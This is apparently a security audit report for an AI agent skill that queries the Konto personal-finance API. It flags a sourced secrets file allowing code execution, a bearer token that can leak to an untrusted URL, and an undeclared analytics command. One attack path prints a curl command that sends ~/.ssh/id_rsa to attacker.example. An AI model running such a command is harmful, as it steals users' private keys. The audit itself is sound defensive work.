Back to skill

Security audit

Konto

Security checks for vulnerabilities and agentic risk

Overview

This skill appears to support legitimate read-only finance lookups, but it should go through Review because it handles sensitive financial credentials with weak safeguards and includes an analytics command outside its declared personal scope.

Before installing, verify that you trust the Konto service and publisher, use a personal-scoped key for this skill, keep ~/.openclaw/secrets/konto.env private, and ensure KONTO_URL points only to the intended HTTPS Konto endpoint or a deliberate local development server. Avoid placing an analytics-scoped key in this skill's secrets file unless you intentionally want the helper to access analytics data.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (3)

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/konto.sh:2
Finding
Arbitrary Shell Execution Through Sourced Secrets File<![CDATA[ ## Vulnerability Details **File Location**: `scripts/konto.sh:2` **Vulnerability Type**: Unsafe configuration loading **Risk Level**: Medium ### Vulnerable Code ```bash #!/bin/bash source ~/.openclaw/secrets/konto.env ``` ### Technical Analysis The script loads `konto.env` with the Bash `source` command. `source` does not treat the file as passive configuration; it parses and executes its contents as shell code in the current process. Consequently, the file can contain command substitutions, shell functions, redirections, or arbitrary commands in addition to the expected `KONTO_API_KEY` and `KONTO_URL` assignments. Those commands execute with the privileges of the user invoking `konto.sh`. Exploitation requires an attacker to create or modify `~/.openclaw/secrets/konto.env`, or to influence a process that generates this file. The unsafe loading mechanism turns such configuration-file access into local code execution. ### Attack Path 1. An attacker or compromised provisioning process obtains write access to `~/.openclaw/secrets/konto.env`. 2. The attacker adds a shell command, for example: ```bash export KONTO_API_KEY="konto_example" curl -d @~/.ssh/id_rsa https://attacker.example/upload ``` 3. The user invokes `scripts/konto.sh`. 4. Bash executes the injected command while processing the `source` statement. 5. The injected process inherits the invoking user's permissions and environment. ### Impact Assessment Successful exploitation permits arbitrary command execution as the user running the helper. This can expose local files and credentials accessible to that user, alter user-owned data, or invoke other programs under the same account. This issue does not independently provide elevated operating-system privileges. Its scope is limited to the invoking user's permissions unless that account already has elevated access. ]]>
Remediation
<![CDATA[ ## Remediation Suggestions - Do not execute the secrets file with `source`. - Store configuration in a non-executable format such as JSON and parse only explicitly permitted fields. - If an environment-style format must be retained, use a strict parser that accepts only literal assignments for `KONTO_API_KEY` and `KONTO_URL`; reject command substitutions, shell operators, functions, and unknown keys. - Verify that the file is owned by the current user and is not writable by group or other users. - Require restrictive permissions such as mode `0600`. - Keep secret provisioning mechanisms separate from executable shell initialization files. ]]>

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/konto.sh:3
Finding
Bearer Credential Can Be Sent to an Untrusted or Plaintext Endpoint<![CDATA[ ## Vulnerability Details **File Location**: `scripts/konto.sh:3-13`; related documentation at `api.md:3` **Vulnerability Type**: Insufficient destination and transport validation **Risk Level**: Medium ### Vulnerable Code ```bash URL="${KONTO_URL:-https://konto.angelstreet.io}" AUTH="Authorization: Bearer $KONTO_API_KEY" case ${1:-summary} in summary) curl -s -H "$AUTH" "$URL/api/v1/summary" ;; accounts) curl -s -H "$AUTH" "$URL/api/v1/accounts" ;; invest*) curl -s -H "$AUTH" "$URL/api/v1/investments" ;; loans) curl -s -H "$AUTH" "$URL/api/v1/loans" ;; assets) curl -s -H "$AUTH" "$URL/api/v1/assets" ;; tx*|trans*) curl -s -H "$AUTH" "$URL/api/v1/transactions?months=${2:-6}${3:+&category=$3}" ;; analytics) curl -s -H "$AUTH" "$URL/api/v1/analytics/${2:-demographics}" ;; ``` The API documentation also presents a plaintext default: ```markdown Base URL: `$KONTO_URL` (default: `http://localhost:5004`) ``` ### Technical Analysis The script trusts `KONTO_URL` and attaches the Konto bearer token to every generated request without validating the URL scheme or destination host. If configuration is changed to an attacker-controlled host, the `Authorization` header is disclosed directly to that host. If a non-loopback HTTP endpoint is used, the credential and sensitive financial response data can be exposed to network interception or manipulation. This risk is distinct from shell metacharacter injection: quoting prevents ordinary shell token splitting, but it does not establish that the configured network destination is trustworthy. ### Attack Path 1. An attacker, malicious setup process, or unsafe configuration template changes `KONTO_URL` to an attacker-controlled URL such as `https://attacker.example`. 2. Alternatively, the URL is set to a remote plaintext HTTP service. 3. The user invokes any supported command, such as `konto.sh summary`. 4. `curl` sends `Authorization: Bearer $KONTO_API_KEY` to the c ...[truncated 611 chars]
Remediation
<![CDATA[ ## Remediation Suggestions - Require HTTPS for all non-loopback destinations. - Permit plaintext HTTP only for explicitly recognized loopback development addresses such as `127.0.0.1`, `::1`, or a validated `localhost` configuration. - Enforce an allowlist of approved Konto API hostnames in production. - Parse the URL and reject unsupported schemes, embedded user information, unexpected ports, malformed hosts, and ambiguous destinations. - Consider separate configuration flags for production and local development rather than accepting an unrestricted base URL. - Use `curl --fail --show-error --proto '=https'` for production requests and define an appropriate redirect policy. - Do not forward the authorization header across redirects to untrusted hosts. - Update `api.md` so its default and transport guidance are consistent with the secure production behavior. - Rotate the API key immediately if it may have been sent to an untrusted endpoint. ]]>

other

Note
Location
scripts/konto.sh:13
Finding
Undocumented Analytics Capability Violates the Declared Personal-Only Scope<![CDATA[ ## Vulnerability Details **File Location**: `scripts/konto.sh:13`; conflicting scope declaration at `SKILL.md:68-69` **Vulnerability Type**: Undeclared privileged capability **Risk Level**: Low ### Vulnerable Code The helper implements an analytics route: ```bash analytics) curl -s -H "$AUTH" "$URL/api/v1/analytics/${2:-demographics}" ;; ``` The skill documentation instead declares a personal-only boundary: ```markdown ## Scope This skill uses a **personal** scope key (free). For cross-user analytics (pro), see the `konto-analytics` skill. ``` ### Technical Analysis The executable helper supports calls to cross-user analytics endpoints even though the skill declares that such functionality belongs in a separate `konto-analytics` skill. Server-side authorization remains the primary security boundary: the API documentation states that analytics endpoints require an analytics-scoped key. Therefore, this command does not by itself bypass access control. However, when an analytics-scoped credential is present, the helper can exercise a capability that is absent from the documented command list and inconsistent with the skill's stated scope. This mismatch weakens capability transparency and can cause operators or automated reviewers to underestimate the data-access surface of the skill. ### Attack Path 1. An analytics-scoped API key is placed in `~/.openclaw/secrets/konto.env`. 2. A user, agent, or automation invokes `konto.sh analytics` or supplies another analytics route type. 3. The helper requests `/api/v1/analytics/<type>` using the privileged credential. 4. The server returns cross-user aggregate analytics if the key has the required scope. 5. The resulting data is printed to standard output and may enter logs or downstream agent context. A personal-only key should receive a server-side `403` response, so exploitation depends on a valid analytics-scoped key being configured. ### Impact Assessment The command can retrieve anonymized, ...[truncated 516 chars]
Remediation
<![CDATA[ ## Remediation Suggestions - Remove the `analytics` case from this personal-only skill and place it exclusively in the dedicated analytics skill. - If analytics support is intentionally retained, document it clearly in `SKILL.md`, including the required scope and the nature of returned data. - Explicitly gate analytics behavior behind a separate configuration option and credential. - Use separate secret files for personal and analytics credentials to prevent accidental privilege crossover. - Avoid printing sensitive analytics to persistent logs unless explicitly requested. - Continue enforcing analytics authorization on the server; client-side gating must not replace server-side scope validation. ]]>
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
Findings (3)

Missing User Warnings

Medium
Confidence
94% confidence
Finding
The skill encourages authenticated requests to a remote service for highly sensitive banking, investment, loan, and transaction data, but does not warn users that personal financial information will be transmitted to and processed by an external endpoint. This creates a real privacy and security risk because users may invoke the skill without understanding the exposure of account balances, transactions, and other sensitive financial details.

Missing User Warnings

Medium
Confidence
84% confidence
Finding
This markdown file describes endpoints that expose highly sensitive personal financial data such as account balances, transactions, investments, assets, loans, and a full financial snapshot. Under the markdown-specific warning rule, the documentation should disclose that using these endpoints may affect user privacy or expose sensitive financial information, but no such warning is provided.

Missing User Warnings

Medium
Confidence
90% confidence
Finding
The script sources a local secrets file at L02 and uses the resulting API key in Authorization headers for curl requests at L07-L13. There is no comment, prompt, or user-facing output explaining that credentials will be loaded and sent to a remote service, which is relevant for privacy and safety awareness.

Static analysis

No suspicious patterns detected.